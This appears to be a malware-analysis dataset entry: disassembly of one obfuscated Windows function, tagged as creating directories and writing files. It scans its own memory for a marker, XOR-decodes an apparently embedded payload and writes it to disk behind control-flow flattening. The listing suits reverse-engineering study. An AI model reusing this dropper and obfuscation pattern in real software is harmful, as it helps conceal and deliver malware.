Function at 0x140009990
Capabilities:
Create directory
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x4b8
mov qword [rsp + 0x48], r8
mov rdi, rdx
mov qword [rsp + 0x60], rcx
mov eax, 0xf8c9ec0b
mov r10d, 0x1ed02dca
lea r11, [0x1400372ff]
mov r9d, 0x446a2360
mov esi, 0xe8841880
mov r13d, 0x9030196d
mov ebx, 0xd446fc76
jmp 0x140009a20
mov eax, dword [0x140044bd0]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xb47266be
mov r8d, 0x5596928e
cmove eax, r8d
cmp dword [0x140044bd4], 0xa
mov edx, 0xb47266be
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, r8d
nop word [rax + rax]
cmp eax, 0x37147d7
jg 0x140009aa0
cmp eax, 0xbd0839d4
jg 0x140009b00
cmp eax, 0xa0b26609
jle 0x140009bd5
cmp eax, 0xb47266bd
jg 0x140009cbd
cmp eax, 0xa0b2660a
je 0x1400099da
cmp eax, 0xa92e50db
je 0x140009e9f
cmp eax, 0xacb7e047
jne 0x140009a20
mov eax, dword [0x140044bd0]
mov ecx, dword [0x140044bd4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r9d, 0x446a2360
mov r8d, 0xc1a68755
mov r12d, 0xebd48bfd
jmp 0x140009df4
cmp eax, 0x49ecea9f
jle 0x140009b50
cmp eax, 0x5d1cd4af
jle 0x140009c13
cmp eax, 0x7161e23d
jg 0x140009ce8
cmp eax, 0x5d1cd4b0
je 0x140009ea9
cmp eax, 0x683c43c2
je 0x140009eb6
cmp eax, 0x6bc39aba
jne 0x140009a20
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x5c], eax
mov eax, 0xbe455bdd
jmp 0x140009a20
cmp eax, 0xd8947831
jle 0x140009c49
cmp eax, 0xebd48bfc
jg 0x140009d13
cmp eax, 0xd8947832
je 0x140009ed6
cmp eax, 0xe13431b8
je 0x140009ef0
cmp eax, 0xe6c7be37
jne 0x140009a20
cmp dword [rsp + 0x94], 4
mov eax, 0xacb7e047
jmp 0x140009ee3
cmp eax, 0x2af52d16
jg 0x140009c7f
cmp eax, 0xb036b2b
jg 0x140009d4b
cmp eax, 0x37147d8
je 0x140009f4c
cmp eax, 0x395eb9d
je 0x14000a1e7
cmp eax, 0x9a6e663
jne 0x140009a20
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x50]
mov rdx, rbp
mov r8d, r14d
lea r9, [rsp + 0x44]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r9d, 0x446a2360
lea r11, [0x1400372ff]
mov r10d, 0x1ed02dca
test eax, eax
mov eax, 0x9c00a3c4
mov ecx, 0x2af52d17
cmove eax, ecx
jmp 0x140009a20
cmp eax, 0x9c00a3c3
jle 0x140009d8a
cmp eax, 0x9c00a3c4
je 0x14000a214
cmp eax, 0x9fc9fc5f
je 0x14000a22b
cmp eax, 0xa04c485a
jne 0x140009a20
cmp dword [rsp + 0x94], 2
mov eax, 0xe6c7be37
jmp 0x140009ee3
cmp eax, 0x5596928d
jle 0x140009da5
cmp eax, 0x5596928e
je 0x14000a23d
cmp eax, 0x56f01bfd
je 0x14000a289
cmp eax, 0x5c0414cf
jne 0x140009a20
mov eax, 0xa92e50db
jmp 0x140009a20
cmp eax, 0xbfaae2c1
jle 0x140009e0d
cmp eax, 0xbfaae2c2
je 0x14000a293
cmp eax, 0xc0d393e4
je 0x14000a29d
cmp eax, 0xc1a68755
jne 0x140009a20
mov eax, 0xebd48bfd
jmp 0x140009a20
cmp eax, 0x353d4da4
jle 0x140009e3c
cmp eax, 0x353d4da5
je 0x14000a2ac
cmp eax, 0x3b0d7b0b
je 0x14000a2be
cmp eax, 0x42af52dd
jne 0x140009a20
mov eax, 0xb4c5f17c
mov dword [rsp + 0x3c], 1
jmp 0x140009a20
cmp eax, 0xb47266be
je 0x14000a33e
cmp eax, 0xb4c5f17c
je 0x14000a350
cmp eax, 0xbce9692a
jne 0x140009a20
mov eax, 0x6bc39aba
jmp 0x140009a20
cmp eax, 0x7161e23e
je 0x14000a35a
cmp eax, 0x73cfe866
je 0x14000a371
cmp eax, 0x7f9508ec
jne 0x140009a20
mov eax, 0x5d1cd4b0
jmp 0x140009a20
cmp eax, 0xebd48bfd
je 0x14000a38d
cmp eax, 0xf8c9ec0b
je 0x14000a3d0
cmp eax, 0xfdc13da6
jne 0x140009a20
cmp byte [rsp + 0x42], 0
mov eax, 0xd8947832
mov ecx, 0xc0d393e4
cmovne eax, ecx
jmp 0x140009a20
cmp eax, 0x10b641eb
je 0x14000a40e
cmp eax, 0x26993b34
jne 0x14000a613
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x88]
add rax, rcx
add rax, 0xfffffffffffffff4
cmp r15, rax
mov eax, 0x9fc9fc5f
mov ecx, 0x80f56577
cmovb eax, ecx
jmp 0x140009a20
cmp eax, 0x80f56577
je 0x14000a418
cmp eax, 0x8177624b
je 0x140009e67
jmp 0x140009a20
cmp eax, 0x49eceaa0
je 0x14000a57a
cmp eax, 0x4c6ec13a
jne 0x140009a20
mov eax, dword [0x140044bd0]
mov ecx, dword [0x140044bd4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r9d, 0x446a2360
mov r8d, 0xe13431b8
mov r12d, 0x3b0d7b0b
cmovne r8d, r12d
test eax, edx
mov eax, r8d
cmove eax, r12d
cmp ecx, 0xa
cmovge eax, r8d
jmp 0x140009a20
cmp eax, 0xbd0839d5
je 0x14000a58c
cmp eax, 0xbe455bdd
jne 0x140009a20
mov eax, dword [rsp + 0x5c]
cmp eax, 2
mov eax, 0xbfaae2c2
mov ecx, 0x49eceaa0
cmove eax, ecx
jmp 0x140009a20
cmp eax, 0x2af52d17
je 0x140009e67
cmp eax, 0x330e78d0
jne 0x140009a20
mov eax, dword [rsp + 0x58]
cmp eax, 5
mov eax, 0x6bc39aba
mov ecx, 0x5c0414cf
cmove eax, ecx
jmp 0x140009a20
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call fcn.140023c30
mov r9d, 0x446a2360
lea r11, [0x1400372ff]
mov r10d, 0x1ed02dca
mov eax, 0x56f01bfd
mov dword [rsp + 0x3c], 1
jmp 0x140009a20
mov eax, 0x73cfe866
jmp 0x140009a20
inc r15
mov eax, 0x26993b34
jmp 0x140009a20
mov rax, r15
xor rax, 0xfffffffffffffff0
and rax, r15
cmp rax, 2
mov eax, 0x7f9508ec
mov ecx, 0x4c6ec13a
cmove eax, ecx
jmp 0x140009a20
cmp dword [rsp + 0x94], 0x40
mov eax, 0xa92e50db
mov ecx, 0xc0d393e4
cmove eax, ecx
jmp 0x140009a20
mov r14, qword [rsp + 0x70]
add r14, qword [rsp + 0x88]
lea rcx, [r15 + 0xe]
movabs rax, 0x8b2116b999559713
sub r14, rax
mov qword [rsp + 0x68], rcx
sub r14, rcx
add r14, rax
mov ecx, 0xffffffff
xor rcx, r14
not rcx
and rcx, r14
call fcn.140024520
mov r9d, 0x446a2360
lea r11, [0x1400372ff]
mov r10d, 0x1ed02dca
mov rbp, rax
mov eax, 0x3b0d7b0b
jmp 0x140009a20
mov r8d, r14d
mov rcx, rbp
mov rdx, qword [rsp + 0x68]
call fcn.140035380
mov ecx, 0xeae15fd5
xor eax, eax
mov r11d, 0xba2e8ba3
jmp 0x140009f80
inc eax
mov ecx, 0xe8841880
nop word cs:[rax + rax]
cmp ecx, 0xe884187f
jg 0x14000a020
cmp ecx, 0xd673f4af
jg 0x14000a060
cmp ecx, 0x9030196d
je 0x14000a0d4
cmp ecx, 0xd446fc76
jne 0x140009f80
mov ecx, eax
mov rdx, rcx
imul rdx, r11
shr rdx, 0x24
lea r8d, [rdx + rdx*4]
lea r8d, [rdx + r8*4]
add r8d, edx
mov edx, eax
sub edx, r8d
movzx edx, byte [rdi + rdx]
mov r8d, eax
xor r8d, 0xfffffffc
and r8d, eax
mov r9d, edx
xor r9b, dl
not r9b
lea r10, [0x14003dd4e]
and r9b, byte [r8 + r10]
xor r9b, dl
movzx edx, byte [rbp + rcx]
mov r8d, edx
xor r8b, dl
not r8b
and r8b, r9b
xor r8b, dl
mov byte [rbp + rcx], r8b
mov ecx, 0xe29be52c
jmp 0x140009f80
cmp ecx, 0xee6d6fc5
jg 0x14000a0c2
cmp ecx, 0xe8841880
je 0x14000a0de
cmp ecx, 0xeae15fd5
jne 0x140009f80
cmp eax, r14d
mov ecx, 0xee6d6fc6
cmovb ecx, ebx
jmp 0x140009f80
cmp ecx, 0xd673f4b0
je 0x140009f6b
cmp ecx, 0xe29be52c
jne 0x140009f80
mov ecx, dword [0x140044c30]
mov edx, dword [0x140044c34]
lea r8d, [rcx + 1]
imul r8d, ecx
mov ecx, r8d
xor ecx, 0xfffffffe
test ecx, r8d
sete r9b
cmp edx, 0xa
setl r10b
xor r10b, r9b
mov r9d, 0xd673f4b0
cmovne r9d, esi
test ecx, r8d
mov ecx, r9d
cmove ecx, esi
cmp edx, 0xa
cmovge ecx, r9d
jmp 0x140009f80
cmp ecx, 0xee6d6fc6
jne 0x14000a120
mov ecx, 0x478ca906
jmp 0x140009f80
mov ecx, 0xeae15fd5
jmp 0x140009f80
inc eax
mov ecx, dword [0x140044c30]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete dl
mov ecx, 0xd673f4b0
cmove ecx, r13d
cmp dword [0x140044c34], 0xa
mov r8d, 0xd673f4b0
cmovge ecx, r8d
setl r8b
xor r8b, dl
cmovne ecx, r13d
jmp 0x140009f80
cmp ecx, 0x478ca906
jne 0x140009f80
lea r12, [rsp + 0x2b0]
mov rcx, r12
mov rdx, qword [rsp + 0x60]
call fcn.140024820
mov rcx, r12
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rcx, [rsp + 0xa0]
mov rdx, r12
call fcn.140024820
lea rcx, [rsp + 0xa6]
mov dx, 0x5c
call fcn.14001d998
mov r12, rax
test rax, rax
mov eax, 0x8bcd20d8
mov ecx, 0x9d226d34
cmove eax, ecx
mov ecx, 0xd682138b
nop word cs:[rax + rax]
cmp ecx, 0xd682138b
je 0x14000a1ae
cmp ecx, 0x9d226d34
je 0x14000a5a9
cmp ecx, 0x8bcd20d8
jne 0x14000a190
jmp 0x14000a1c0
mov ecx, eax
jmp 0x14000a190
mov word [r12], 0
lea rcx, [rsp + 0xa0]
call fcn.140023644
mov word [r12], 0x5c
add r12, 2
mov rcx, r12
jmp 0x14000a162
mov rcx, rbp
call fcn.140023c30
mov r9d, 0x446a2360
lea r11, [0x1400372ff]
mov r10d, 0x1ed02dca
mov eax, 0x10b641eb
mov dword [rsp + 0x3c], 1
jmp 0x140009a20
cmp dword [rsp + 0x44], r14d
mov eax, 0x2af52d17
mov ecx, 0x8177624b
cmove eax, ecx
jmp 0x140009a20
mov eax, 0x353d4da5
mov dword [rsp + 0x3c], 5
jmp 0x140009a20
mov eax, dword [0x140044bd0]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xb47266be
mov r12d, 0xbce9692a
cmove eax, r12d
cmp dword [0x140044bd4], 0xa
setl dl
mov r8d, 0xb47266be
cmovge eax, r8d
xor dl, cl
cmovne eax, r12d
mov dword [rsp + 0x3c], 2
jmp 0x140009a20
mov eax, 0x10b641eb
jmp 0x140009a20
mov eax, 0xb036b2c
jmp 0x140009a20
mov eax, 0x26993b34
mov r15, qword [rsp + 0x70]
jmp 0x140009a20
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x58], eax
mov eax, 0x330e78d0
jmp 0x140009a20
lea rax, [r15 + 0xe]
mov r14, qword [rsp + 0x70]
add r14, qword [rsp + 0x88]
mov qword [rsp + 0x68], rax
sub r14, rax
mov ecx, 0xffffffff
xor rcx, r14
not rcx
and rcx, r14
call fcn.140024520
mov r9d, 0x446a2360
lea r11, [0x1400372ff]
mov r10d, 0x1ed02dca
mov rbp, rax
test rax, rax
setne byte [rsp + 0x43]
mov eax, dword [0x140044bd0]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xe13431b8
mov r8d, 0x7161e23e
cmove eax, r8d
cmp dword [0x140044bd4], 0xa
mov edx, 0xe13431b8
jmp 0x140009a0b
mov eax, 0x5596928e
mov dword [rsp + 0x3c], 2
jmp 0x140009a20
mov eax, 0x353d4da5
jmp 0x140009a20
cmp byte [rsp + 0x43], 0
mov eax, 0x42af52dd
mov ecx, 0x37147d8
cmovne eax, ecx
jmp 0x140009a20
mov rax, qword [rsp + 0x48]
add rax, qword [rsp + 0x88]
mov qword [rsp + 0x48], rax
mov eax, 0xf8c9ec0b
jmp 0x140009a20
cmp dword [rsp + 0x94], 0x20
sete byte [rsp + 0x42]
mov eax, dword [0x140044bd0]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xc1a68755
mov r8d, 0xfdc13da6
cmove eax, r8d
cmp dword [0x140044bd4], 0xa
mov edx, 0xc1a68755
jmp 0x140009a0b
mov r8d, 0x30
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov r9d, 0x446a2360
lea r11, [0x1400372ff]
mov r10d, 0x1ed02dca
test rax, rax
mov eax, 0xbd0839d5
mov ecx, 0xa0b2660a
cmove eax, ecx
jmp 0x140009a20
mov eax, 0xb4c5f17c
jmp 0x140009a20
mov r8d, 0xeef0fde4
xor eax, eax
jmp 0x14000a430
mov r8d, 0x35ad404e
mov ecx, 1
nop dword [rax]
cmp r8d, 0x35ad404d
jg 0x14000a480
cmp r8d, 0x11ea00d6
jle 0x14000a4b0
cmp r8d, 0x11ea00d7
je 0x14000a422
cmp r8d, 0x13b9215a
je 0x14000a517
cmp r8d, 0x1ed02dca
jne 0x14000a430
movzx r8d, byte [r15 + rax]
cmp r8b, byte [rax + r11]
mov r8d, 0x13b9215a
cmove r8d, r9d
jmp 0x14000a430
cmp r8d, 0x4e94211b
jg 0x14000a4e0
cmp r8d, 0x446a2360
je 0x14000a529
cmp r8d, 0x4640c2c5
jne 0x14000a559
inc rax
mov r8d, 0xeef0fde4
jmp 0x14000a430
cmp r8d, 0xeef0fde4
je 0x14000a534
cmp r8d, 0x10b17e49
jne 0x14000a430
mov r8d, 0x4e94211c
mov edx, 2
jmp 0x14000a430
cmp r8d, 0x4e94211c
je 0x14000a547
cmp r8d, 0x572c12fd
jne 0x14000a430
mov r8d, dword [rsp + 0xa0]
cmp r8d, 2
mov r8d, 0x35ad404e
mov r12d, 0x11ea00d7
cmove r8d, r12d
jmp 0x14000a430
mov r8d, 0x4e94211c
mov edx, 1
xor ecx, ecx
jmp 0x14000a430
mov r8d, 0x4640c2c5
jmp 0x14000a430
cmp rax, 0xc
mov r8d, 0x10b17e49
cmovb r8d, r10d
jmp 0x14000a430
mov dword [rsp + 0xa0], edx
mov r8d, 0x572c12fd
jmp 0x14000a430
cmp r8d, 0x35ad404e
jne 0x14000a430
test ecx, ecx
mov eax, 0x683c43c2
mov ecx, 0x7f9508ec
cmove eax, ecx
jmp 0x140009a20
mov eax, 0xbfaae2c2
mov dword [rsp + 0x3c], 0
jmp 0x140009a20
cmp dword [rsp + 0x90], 0x1000
mov eax, 0xa92e50db
mov ecx, 0xa04c485a
cmove eax, ecx
jmp 0x140009a20
lea rcx, [rsp + 0xa0]
call fcn.140023644
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
mov rcx, qword [rsp + 0x60]
mov edx, 0x40000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x50], rax
cmp rax, 0xffffffffffffffff
mov eax, 0x9a6e663
mov ecx, 0x395eb9d
cmove eax, ecx
mov r10d, 0x1ed02dca
lea r11, [0x1400372ff]
mov r9d, 0x446a2360
jmp 0x140009a20
cmp eax, 0xb036b2c
jne 0x140009a20
add rsp, 0x4b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret